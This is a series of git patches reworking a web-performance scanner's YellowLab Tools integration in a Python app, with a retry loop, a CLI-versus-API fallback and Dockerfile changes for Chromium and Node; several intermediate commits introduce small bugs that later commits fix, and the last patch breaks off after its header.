 app/api/utils/yellowlab.py | 159 +++++++++++++++++--------------------
 1 file changed, 73 insertions(+), 86 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 947e74c9..9bb2a5c7 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -16,6 +16,35 @@ def __init__(self, scan=None, configs=None):
         self.page = self.scan.page
         self.configs = configs
 
+        # initial audits object
+        self.audits = {
+            "pageWeight": [], 
+            "images": [], 
+            "domComplexity": [], 
+            "javascriptComplexity": [],
+            "badJavascript": [],
+            "jQuery": [],
+            "cssComplexity": [],
+            "badCSS": [],
+            "fonts": [],
+            "serverConfig": [],
+        }
+        
+        # initial scores object
+        self.scores = {
+            "globalScore": None,
+            "pageWeight": None, 
+            "requests": None, 
+            "domComplexity": None, 
+            "javascriptComplexity": None,
+            "badJavascript": None,
+            "jQuery": None,
+            "cssComplexity": None,
+            "badCSS": None,
+            "fonts": None,
+            "serverConfig": None,
+        }
+
     
     def init_audit(self):
         proc = subprocess.Popen([
@@ -32,7 +61,7 @@ def init_audit(self):
 
     def yellowlab_api(self) -> dict:
         """ 
-        Serves as the backup method for collecting YL metrics.
+        Serves as the primary method for collecting YL metrics.
         Sends API requests to http://yellowlab:8383
         or localhost:8383
 
@@ -130,58 +159,36 @@ def process_data(self, stdout_json: dict) -> dict:
             endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
         )
 
-        # initial audits object
-        audits = {
-            "pageWeight": [], 
-            "images": [], 
-            "domComplexity": [], 
-            "javascriptComplexity": [],
-            "badJavascript": [],
-            "jQuery": [],
-            "cssComplexity": [],
-            "badCSS": [],
-            "fonts": [],
-            "serverConfig": [],
-        }
-
         # iterating through categories to get relevant yl_audits and store them in their respective `audits = {}` obj
-        for cat in audits:
+        for cat in self.audits:
             cat_audits = stdout_json["scoreProfiles"]["generic"]["categories"][cat]["rules"]
             for a in cat_audits:
                 try:
                     audit = stdout_json["rules"][a]
-                    audits[cat].append(audit)
+                    self.audits[cat].append(audit)
                 except:
                     pass
 
         # get scores from each category
-        globalScore = stdout_json["scoreProfiles"]["generic"]["globalScore"]
-        pageWeight_score = stdout_json["scoreProfiles"]["generic"]["categories"]["pageWeight"]["categoryScore"]
-        # requests_score = stdout_json["scoreProfiles"]["generic"]["categories"]["requests"]["categoryScore"]
-        images_score = stdout_json["scoreProfiles"]["generic"]["categories"]["images"]["categoryScore"]
-        domComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["domComplexity"]["categoryScore"]
-        javascriptComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["javascriptComplexity"]["categoryScore"]
-        badJavascript_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badJavascript"]["categoryScore"]
-        jQuery_score = stdout_json["scoreProfiles"]["generic"]["categories"]["jQuery"]["categoryScore"]
-        cssComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["cssComplexity"]["categoryScore"]
-        badCSS_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badCSS"]["categoryScore"]
-        fonts_score = stdout_json["scoreProfiles"]["generic"]["categories"]["fonts"]["categoryScore"]
-        serverConfig_score = stdout_json["scoreProfiles"]["generic"]["categories"]["serverConfig"]["categoryScore"]
-
-        scores = {
-            "globalScore": globalScore,
-            "pageWeight": pageWeight_score, 
-            # "requests": requests_score,
-            "images": images_score,  
-            "domComplexity": domComplexity_score, 
-            "javascriptComplexity": javascriptComplexity_score,
-            "badJavascript": badJavascript_score,
-            "jQuery": jQuery_score,
-            "cssComplexity": cssComplexity_score,
-            "badCSS": badCSS_score,
-            "fonts": fonts_score,
-            "serverConfig": serverConfig_score,
-        }
+        for key in self.scores:
+            if key != 'globalScore':
+                self.scores[key] = stdout_json["scoreProfiles"]["generic"]["categories"][key]["categoryScore"]
+
+        # adding globalScore
+        self.scores['globalScore'] = stdout_json["scoreProfiles"]["generic"]["globalScore"]
+
+
+        # self.scores['pageWeight'] = stdout_json["scoreProfiles"]["generic"]["categories"]["pageWeight"]["categoryScore"]
+        # # self.scores['requests'] = stdout_json["scoreProfiles"]["generic"]["categories"]["requests"]["categoryScore"]
+        # self.scores['images'] = stdout_json["scoreProfiles"]["generic"]["categories"]["images"]["categoryScore"]
+        # self.scores['domComplexity'] = stdout_json["scoreProfiles"]["generic"]["categories"]["domComplexity"]["categoryScore"]
+        # self.scores['javascriptComplexity'] = stdout_json["scoreProfiles"]["generic"]["categories"]["javascriptComplexity"]["categoryScore"]
+        # self.scores['badJavascript'] = stdout_json["scoreProfiles"]["generic"]["categories"]["badJavascript"]["categoryScore"]
+        # self.scores['jQuery'] = stdout_json["scoreProfiles"]["generic"]["categories"]["jQuery"]["categoryScore"]
+        # self.scores['cssComplexity'] = stdout_json["scoreProfiles"]["generic"]["categories"]["cssComplexity"]["categoryScore"]
+        # self.scores['badCSS'] = stdout_json["scoreProfiles"]["generic"]["categories"]["badCSS"]["categoryScore"]
+        # self.scores['fonts'] = stdout_json["scoreProfiles"]["generic"]["categories"]["fonts"]["categoryScore"]
+        # self.scores['serverConfig'] = stdout_json["scoreProfiles"]["generic"]["categories"]["serverConfig"]["categoryScore"]
 
         # save audits data as json file
         file_id = uuid.uuid4()
@@ -214,47 +221,27 @@ def process_data(self, stdout_json: dict) -> dict:
 
     def get_data(self):
 
-        try:
-            raw_data = self.yellowlab_api()
-            data = self.process_data(stdout_json=raw_data)
-            return data
-
-        except Exception as e:
-            print(f'YELLOWLAB API FAILED --> {e}')
-
-            scores = {
-                "globalScore": None,
-                "pageWeight": None, 
-                "requests": None, 
-                "domComplexity": None, 
-                "javascriptComplexity": None,
-                "badJavascript": None,
-                "jQuery": None,
-                "cssComplexity": None,
-                "badCSS": None,
-                "fonts": None,
-                "serverConfig": None,
-            }
-
-            audits = {
-                "pageWeight": [], 
-                "requests": [], 
-                "domComplexity": [], 
-                "javascriptComplexity": [],
-                "badJavascript": [],
-                "jQuery": [],
-                "cssComplexity": [],
-                "badCSS": [],
-                "fonts": [],
-                "serverConfig": [],
-            }
-
-            data = {
-                "scores": scores, 
-                "audits": audits,
-                "failed": True
-            }
-        
-            return data
+        scan_complete = False
+        attemps = 0
         
+        # trying yellowlab scan untill success or 2 attempts
+        while not scan_complete and attempts >= 2:
+
+            try:
+                raw_data = self.yellowlab_api()
+                self.process_data(stdout_json=raw_data)
+                scan_complete = True
 
+            except Exception as e:
+                print(f'YELLOWLAB API FAILED --> {e}')
+                scan_complete = True
+                attemps += 1
+
+        data = {
+            "scores": self.scores, 
+            "audits": audits,
+            "failed": True
+        }
+            
+        # returning final data
+        return data
\ No newline at end of file

From 232d7296ea14a2939e997a1b665a27c5a54a8a74 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 08:53:17 -0600
Subject: [PATCH 350/752] testing yellowlab with new dockerfile configs

---
 Dockerfile                 | 32 +++++++++++++++++++++++++++++++-
 app/api/utils/yellowlab.py | 17 ++++++++++++-----
 2 files changed, 43 insertions(+), 6 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 157353e3..77eddb67 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -7,6 +7,18 @@ RUN mkdir /app
 COPY ./app /app
 WORKDIR /app
 
+# increasing allocated memory to node
+ENV NODE_OPTIONS --max_old_space_size=2000
+ENV NODE_OPTIONS "--max-old-space-size=2000"
+ENV GENERATE_SOURCEMAP false
+
+# telling Puppeteer to skip installing Chrome
+ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
+
+# telling phantomas where Chrome binary is and that we're in docker
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/google-chrome
+ENV DOCKERIZED yes
+
 # create the app user
 RUN addgroup --system app && adduser --system app 
 
@@ -18,6 +30,17 @@ RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
     gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ 
     libfontconfig 
 
+# installing yellowlab-specific system deps
+RUN apt-get update && apt-get install -y libfreetype6 git  \ 
+    libatk-bridge2.0-0 gconf-service libasound2 make \ 
+    libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 \ 
+    libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 \ 
+    libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 \ 
+    libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 \ 
+    libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 \ 
+    libnss3 lsb-release libgbm1 xdg-utils wget nasm automake autoconf libtool \
+    -y --force-yes > /dev/null 2>&1
+
 # installing node and npm --> n lts
 RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
     && npm install -g n \
@@ -26,8 +49,11 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 # cleaning npm
 RUN npm cache clean --force
 
+# installing more yellowlab stuff
+RUN npm install jpegoptim-bin --unsafe-perm=true --allow-root
+
 # installing lighthouse
-RUN npm install -g lighthouse lighthouse-plugin-crux lodash
+RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
 
 # setting --no-sandbox & --disable-dev-shm-usage
 RUN chromium --no-sandbox --version
@@ -41,5 +67,9 @@ RUN python3 -m pip install -r /requirements.txt
 RUN chown -R app:app /app
 RUN chown -R app:app /usr/bin/chromium
 
+# Set up the Chromium environment
+ENV XDG_CONFIG_HOME /tmp/.chromium
+ENV XDG_CACHE_HOME /tmp/.chromium
+
 # removing chromium config
 RUN rm -rf ~/.config/chromium
\ No newline at end of file
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 9bb2a5c7..9effa1ed 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -46,7 +46,7 @@ def __init__(self, scan=None, configs=None):
         }
 
     
-    def init_audit(self):
+    def yellowlab_cli(self):
         proc = subprocess.Popen([
                 'yellowlabtools',
                 self.page.page_url,
@@ -222,26 +222,33 @@ def process_data(self, stdout_json: dict) -> dict:
     def get_data(self):
 
         scan_complete = False
+        failed = False
         attemps = 0
         
         # trying yellowlab scan untill success or 2 attempts
         while not scan_complete and attempts >= 2:
 
             try:
-                raw_data = self.yellowlab_api()
+                raw_data = self.yellowlab_cli()
                 self.process_data(stdout_json=raw_data)
+
+                # raw_data = self.yellowlab_api()
+                # self.process_data(stdout_json=raw_data)
+
                 scan_complete = True
+                failed = False
 
             except Exception as e:
                 print(f'YELLOWLAB API FAILED --> {e}')
                 scan_complete = True
+                failed = True
                 attemps += 1
 
         data = {
             "scores": self.scores, 
-            "audits": audits,
-            "failed": True
+            "audits": self.audits,
+            "failed": failed
         }
             
         # returning final data
-        return data
\ No newline at end of file
+        return attempts
\ No newline at end of file

From 86e2a8c06cf87362c8d04c34af24a9be06da873d Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 09:06:41 -0600
Subject: [PATCH 351/752] fixed typo

---
 app/api/utils/yellowlab.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 9effa1ed..cc0d5f7d 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -223,7 +223,7 @@ def get_data(self):
 
         scan_complete = False
         failed = False
-        attemps = 0
+        attempts = 0
         
         # trying yellowlab scan untill success or 2 attempts
         while not scan_complete and attempts >= 2:
@@ -242,7 +242,7 @@ def get_data(self):
                 print(f'YELLOWLAB API FAILED --> {e}')
                 scan_complete = True
                 failed = True
-                attemps += 1
+                attempts += 1
 
         data = {
             "scores": self.scores, 

From 320e5f8c0971e97aa652d457e064eb72aa02ac22 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 09:19:53 -0600
Subject: [PATCH 352/752] fixed simple logic

---
 app/api/utils/yellowlab.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index cc0d5f7d..1ab1471a 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -226,7 +226,7 @@ def get_data(self):
         attempts = 0
         
         # trying yellowlab scan untill success or 2 attempts
-        while not scan_complete and attempts >= 2:
+        while not scan_complete and attempts <= 2:
 
             try:
                 raw_data = self.yellowlab_cli()

From 7f918762e086756f45c2027e60e6913f2c4bbfb2 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 09:32:07 -0600
Subject: [PATCH 353/752] fixing more issues

---
 app/api/utils/yellowlab.py | 37 ++++++++++++++-----------------------
 1 file changed, 14 insertions(+), 23 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 1ab1471a..7d840e1f 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -159,7 +159,8 @@ def process_data(self, stdout_json: dict) -> dict:
             endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
         )
 
-        # iterating through categories to get relevant yl_audits and store them in their respective `audits = {}` obj
+        # iterating through categories to get relevant yl_audits 
+        # and store them in their respective `audits = {}` obj
         for cat in self.audits:
             cat_audits = stdout_json["scoreProfiles"]["generic"]["categories"][cat]["rules"]
             for a in cat_audits:
@@ -171,29 +172,16 @@ def process_data(self, stdout_json: dict) -> dict:
 
         # get scores from each category
         for key in self.scores:
-            if key != 'globalScore':
+            if key == 'globalScore':
+                self.scores['globalScore'] = stdout_json["scoreProfiles"]["generic"]["globalScore"]
+            else:
                 self.scores[key] = stdout_json["scoreProfiles"]["generic"]["categories"][key]["categoryScore"]
 
-        # adding globalScore
-        self.scores['globalScore'] = stdout_json["scoreProfiles"]["generic"]["globalScore"]
-
-
-        # self.scores['pageWeight'] = stdout_json["scoreProfiles"]["generic"]["categories"]["pageWeight"]["categoryScore"]
-        # # self.scores['requests'] = stdout_json["scoreProfiles"]["generic"]["categories"]["requests"]["categoryScore"]
-        # self.scores['images'] = stdout_json["scoreProfiles"]["generic"]["categories"]["images"]["categoryScore"]
-        # self.scores['domComplexity'] = stdout_json["scoreProfiles"]["generic"]["categories"]["domComplexity"]["categoryScore"]
-        # self.scores['javascriptComplexity'] = stdout_json["scoreProfiles"]["generic"]["categories"]["javascriptComplexity"]["categoryScore"]
-        # self.scores['badJavascript'] = stdout_json["scoreProfiles"]["generic"]["categories"]["badJavascript"]["categoryScore"]
-        # self.scores['jQuery'] = stdout_json["scoreProfiles"]["generic"]["categories"]["jQuery"]["categoryScore"]
-        # self.scores['cssComplexity'] = stdout_json["scoreProfiles"]["generic"]["categories"]["cssComplexity"]["categoryScore"]
-        # self.scores['badCSS'] = stdout_json["scoreProfiles"]["generic"]["categories"]["badCSS"]["categoryScore"]
-        # self.scores['fonts'] = stdout_json["scoreProfiles"]["generic"]["categories"]["fonts"]["categoryScore"]
-        # self.scores['serverConfig'] = stdout_json["scoreProfiles"]["generic"]["categories"]["serverConfig"]["categoryScore"]
 
         # save audits data as json file
         file_id = uuid.uuid4()
         with open(f'{file_id}.json', 'w') as fp:
-            json.dump(audits, fp)
+            json.dump(self.audits, fp)
         
         # upload to s3 and return url
         audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
@@ -209,9 +197,12 @@ def process_data(self, stdout_json: dict) -> dict:
         # remove local copy
         os.remove(audit_file)
 
+        # updating opjects
+        self.audits = audits_url
+
         data = {
-            "scores": scores, 
-            "audits": audits_url,
+            "scores": self.scores, 
+            "audits": self.audits,
             "failed": False
         }
 
@@ -222,11 +213,11 @@ def process_data(self, stdout_json: dict) -> dict:
     def get_data(self):
 
         scan_complete = False
-        failed = False
+        failed = None
         attempts = 0
         
         # trying yellowlab scan untill success or 2 attempts
-        while not scan_complete and attempts <= 2:
+        while not scan_complete and attempts < 2:
 
             try:
                 raw_data = self.yellowlab_cli()
@@ -251,4 +242,4 @@ def get_data(self):
         }
             
         # returning final data
-        return attempts
\ No newline at end of file
+        return data
\ No newline at end of file

From f1e9c99be94da53cae0b229f24bcb166a9ee31a5 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 09:33:48 -0600
Subject: [PATCH 354/752] moved WORKDIR to end

---
 Dockerfile | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 77eddb67..f3ea15e6 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -2,11 +2,6 @@
 FROM python:3.9-slim
 ENV PYTHONUNBUFFERED 1
 
-# setting working dir
-RUN mkdir /app
-COPY ./app /app
-WORKDIR /app
-
 # increasing allocated memory to node
 ENV NODE_OPTIONS --max_old_space_size=2000
 ENV NODE_OPTIONS "--max-old-space-size=2000"
@@ -72,4 +67,9 @@ ENV XDG_CONFIG_HOME /tmp/.chromium
 ENV XDG_CACHE_HOME /tmp/.chromium
 
 # removing chromium config
-RUN rm -rf ~/.config/chromium
\ No newline at end of file
+RUN rm -rf ~/.config/chromium
+
+# setting working dir
+RUN mkdir /app
+COPY ./app /app
+WORKDIR /app

From 083fc4a3694e6f6215231c56fa9a2c9e4b38e729 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 09:40:19 -0600
Subject: [PATCH 355/752] fixing issue with build

---
 Dockerfile | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index f3ea15e6..93bec5ca 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -44,9 +44,6 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 # cleaning npm
 RUN npm cache clean --force
 
-# installing more yellowlab stuff
-RUN npm install jpegoptim-bin --unsafe-perm=true --allow-root
-
 # installing lighthouse
 RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
 

From 3162243505c80269e47f1fde8ec59b928b685ec5 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 09:44:51 -0600
Subject: [PATCH 356/752] moving things arround

---
 Dockerfile | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 93bec5ca..e840a2b2 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -55,10 +55,6 @@ RUN chromium --disable-dev-shm-usage  --version
 COPY ./requirements.txt /requirements.txt
 RUN python3 -m pip install -r /requirements.txt
 
-# setting ownership
-RUN chown -R app:app /app
-RUN chown -R app:app /usr/bin/chromium
-
 # Set up the Chromium environment
 ENV XDG_CONFIG_HOME /tmp/.chromium
 ENV XDG_CACHE_HOME /tmp/.chromium
@@ -70,3 +66,7 @@ RUN rm -rf ~/.config/chromium
 RUN mkdir /app
 COPY ./app /app
 WORKDIR /app
+
+# setting ownership
+RUN chown -R app:app /app
+RUN chown -R app:app /usr/bin/chromium

From 13395eef19eb9c5d0469da8ec6d10f27f728c91c Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 09:51:41 -0600
Subject: [PATCH 357/752] fixed chromium exe path for phantomas

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index e840a2b2..aed2bb2e 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -11,7 +11,7 @@ ENV GENERATE_SOURCEMAP false
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
 
 # telling phantomas where Chrome binary is and that we're in docker
-ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/google-chrome
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
 ENV DOCKERIZED yes
 
 # create the app user

From 75964a5c49c4e1d6123700c4434bb3078b7ec563 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 10:05:45 -0600
Subject: [PATCH 358/752] debugging

---
 app/api/utils/yellowlab.py | 27 ++++++++++++++-------------
 1 file changed, 14 insertions(+), 13 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 7d840e1f..1ce08524 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -217,23 +217,24 @@ def get_data(self):
         attempts = 0
         
         # trying yellowlab scan untill success or 2 attempts
-        while not scan_complete and attempts < 2:
+        # while not scan_complete and attempts < 2:
 
-            try:
-                raw_data = self.yellowlab_cli()
-                self.process_data(stdout_json=raw_data)
+            # try:
+        raw_data = self.yellowlab_cli()
+        print(raw_data)
+        self.process_data(stdout_json=raw_data)
 
-                # raw_data = self.yellowlab_api()
-                # self.process_data(stdout_json=raw_data)
+        # raw_data = self.yellowlab_api()
+        # self.process_data(stdout_json=raw_data)
 
-                scan_complete = True
-                failed = False
+        scan_complete = True
+        failed = False
 
-            except Exception as e:
-                print(f'YELLOWLAB API FAILED --> {e}')
-                scan_complete = True
-                failed = True
-                attempts += 1
+            # except Exception as e:
+            #     print(f'YELLOWLAB API FAILED --> {e}')
+            #     scan_complete = True
+            #     failed = True
+            #     attempts += 1
 
         data = {
             "scores": self.scores, 

From f452b880bdedeea3f6b349e1505dec33667eeb7f Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 10:11:03 -0600
Subject: [PATCH 359/752] testing json conversion

---
 app/api/utils/yellowlab.py | 20 +++++++++++++++++---
 1 file changed, 17 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 1ce08524..a0fe9fb1 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -47,6 +47,14 @@ def __init__(self, scan=None, configs=None):
 
     
     def yellowlab_cli(self):
+        """ 
+        Serves as the CLI method for collecting YL metrics.
+        Creates a sub process running yellowlabtools CLI
+
+        Returns --> raw YL data (Dict)
+        """
+
+        # initiating subprocess for YLT CLI
         proc = subprocess.Popen([
                 'yellowlabtools',
                 self.page.page_url,
@@ -55,17 +63,23 @@ def yellowlab_cli(self):
             stdout=subprocess.PIPE,
             user='app',
         )
+
+        # retrieving data from process
         stdout_value = proc.communicate()[0]
-        return stdout_value
+
+        # converting stdout str into Dict
+        stdout_json = json.loads(stdout_value)
+        return stdout_json
+
 
 
     def yellowlab_api(self) -> dict:
         """ 
-        Serves as the primary method for collecting YL metrics.
+        Serves as the API method for collecting YL metrics.
         Sends API requests to http://yellowlab:8383
         or localhost:8383
 
-        Returns --> raw YL data
+        Returns --> raw YL data (Dict)
         """
 
         # defaults

From 92972ff8b54988064891ffd7fd84da145a584654 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 10:15:07 -0600
Subject: [PATCH 360/752] fixing typo

---
 app/api/utils/yellowlab.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index a0fe9fb1..b9a6ba40 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -34,7 +34,7 @@ def __init__(self, scan=None, configs=None):
         self.scores = {
             "globalScore": None,
             "pageWeight": None, 
-            "requests": None, 
+            "images": None, 
             "domComplexity": None, 
             "javascriptComplexity": None,
             "badJavascript": None,

From 49f7336b7a294b6a18e9b8744afca93d3accccdf Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 10:25:25 -0600
Subject: [PATCH 361/752] debugging cli

---
 app/api/utils/yellowlab.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index b9a6ba40..1a5e9540 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -66,6 +66,7 @@ def yellowlab_cli(self):
 
         # retrieving data from process
         stdout_value = proc.communicate()[0]
+        print(stdout_value)
 
         # converting stdout str into Dict
         stdout_json = json.loads(stdout_value)
@@ -235,7 +236,6 @@ def get_data(self):
 
             # try:
         raw_data = self.yellowlab_cli()
-        print(raw_data)
         self.process_data(stdout_json=raw_data)
 
         # raw_data = self.yellowlab_api()

From 9dd4005e28cba36e32c2eeafc268e2fae2b4bc69 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 10:40:18 -0600
Subject: [PATCH 362/752] using CLI first, then API if failure

---
 app/api/utils/yellowlab.py | 39 ++++++++++++++++++++------------------
 1 file changed, 21 insertions(+), 18 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 1a5e9540..e52fffdb 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -66,7 +66,6 @@ def yellowlab_cli(self):
 
         # retrieving data from process
         stdout_value = proc.communicate()[0]
-        print(stdout_value)
 
         # converting stdout str into Dict
         stdout_json = json.loads(stdout_value)
@@ -232,23 +231,27 @@ def get_data(self):
         attempts = 0
         
         # trying yellowlab scan untill success or 2 attempts
-        # while not scan_complete and attempts < 2:
-
-            # try:
-        raw_data = self.yellowlab_cli()
-        self.process_data(stdout_json=raw_data)
-
-        # raw_data = self.yellowlab_api()
-        # self.process_data(stdout_json=raw_data)
-
-        scan_complete = True
-        failed = False
-
-            # except Exception as e:
-            #     print(f'YELLOWLAB API FAILED --> {e}')
-            #     scan_complete = True
-            #     failed = True
-            #     attempts += 1
+        while not scan_complete and attempts < 2:
+
+            try:
+                # CLI on first attempt
+                if attempts < 1:
+                    raw_data = self.yellowlab_cli()
+                    self.process_data(stdout_json=raw_data)
+                
+                # API after first attempt
+                if attempts > 1:
+                    raw_data = self.yellowlab_api()
+                    self.process_data(stdout_json=raw_data)
+
+                scan_complete = True
+                failed = False
+
+            except Exception as e:
+                print(f'YELLOWLAB API FAILED --> {e}')
+                scan_complete = True
+                failed = True
+                attempts += 1
 
         data = {
             "scores": self.scores, 

From abfee806f572536c8d311abc5cf526d356c43538 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 10:46:15 -0600
Subject: [PATCH 363/752] celaning things up

---
 app/api/utils/yellowlab.py | 12 +-----------
 1 file changed, 1 insertion(+), 11 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index e52fffdb..962b7c59 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -93,21 +93,16 @@ def yellowlab_api(self) -> dict:
         }
 
         # setting up initial request
-        print('sending YLT API request...')
         res = requests.post(
             url=f'{settings.YELLOWLAB_ROOT}/api/runs',
             data=json.dumps(data),
             headers=headers
         ).json()
 
-        print(res)
-
         # retrieve runId & pod_ip if present
         run_id = res['runId']
         pod_ip = res.get('pod_ip')
-
         NEW_ROOT = f'http://{pod_ip}:8383' if pod_ip != None else settings.YELLOWLAB_ROOT
-        print(f'setting NEW_ROOT to -> {NEW_ROOT}')
         
         wait_time = 0
         max_wait = 1200
@@ -117,14 +112,11 @@ def yellowlab_api(self) -> dict:
         while not done and wait_time < max_wait:
 
             # sending run request check
-            print('checking YLT API request...')
             res = requests.get(
                 url=f'{NEW_ROOT}/api/runs/{run_id}',
                 headers=headers
             ).json()
 
-            print(f'res -> {res}')
-
             # checking status
             status = res['run']['status']['statusCode']
             position = res['run']['status'].get('position')
@@ -133,7 +125,6 @@ def yellowlab_api(self) -> dict:
             if status == 'complete':
                 done = True
             if status == 'failed':
-                print('YELLOWLAB API FAILED')
                 raise RuntimeError
                 break
 
@@ -143,7 +134,6 @@ def yellowlab_api(self) -> dict:
 
 
         # getting run results
-        print('retrieveing YLT API request...')
         res = requests.get(
             url=f'{NEW_ROOT}/api/results/{run_id}',
             headers=headers
@@ -248,7 +238,7 @@ def get_data(self):
                 failed = False
 
             except Exception as e:
-                print(f'YELLOWLAB API FAILED --> {e}')
+                print(f'YELLOWLAB FAILED (attempt {attempts}) --> {e}')
                 scan_complete = True
                 failed = True
                 attempts += 1

From 80173f87f85a386878e38669a17a5341825e9306 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 11:05:16 -0600
Subject: [PATCH 364/752] fixed logic issue

---
 app/api/utils/yellowlab.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 962b7c59..4e230913 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -239,7 +239,7 @@ def get_data(self):
 
             except Exception as e:
                 print(f'YELLOWLAB FAILED (attempt {attempts}) --> {e}')
-                scan_complete = True
+                scan_complete = False
                 failed = True
                 attempts += 1
 

From 3cd32b57629da3eebe3c03fb89c00cf50c45ac08 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Mar 2024 11:16:07 -0600
Subject: [PATCH 365/752] fixed logic bug

---
 app/api/utils/yellowlab.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 4e230913..3fb43b37 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
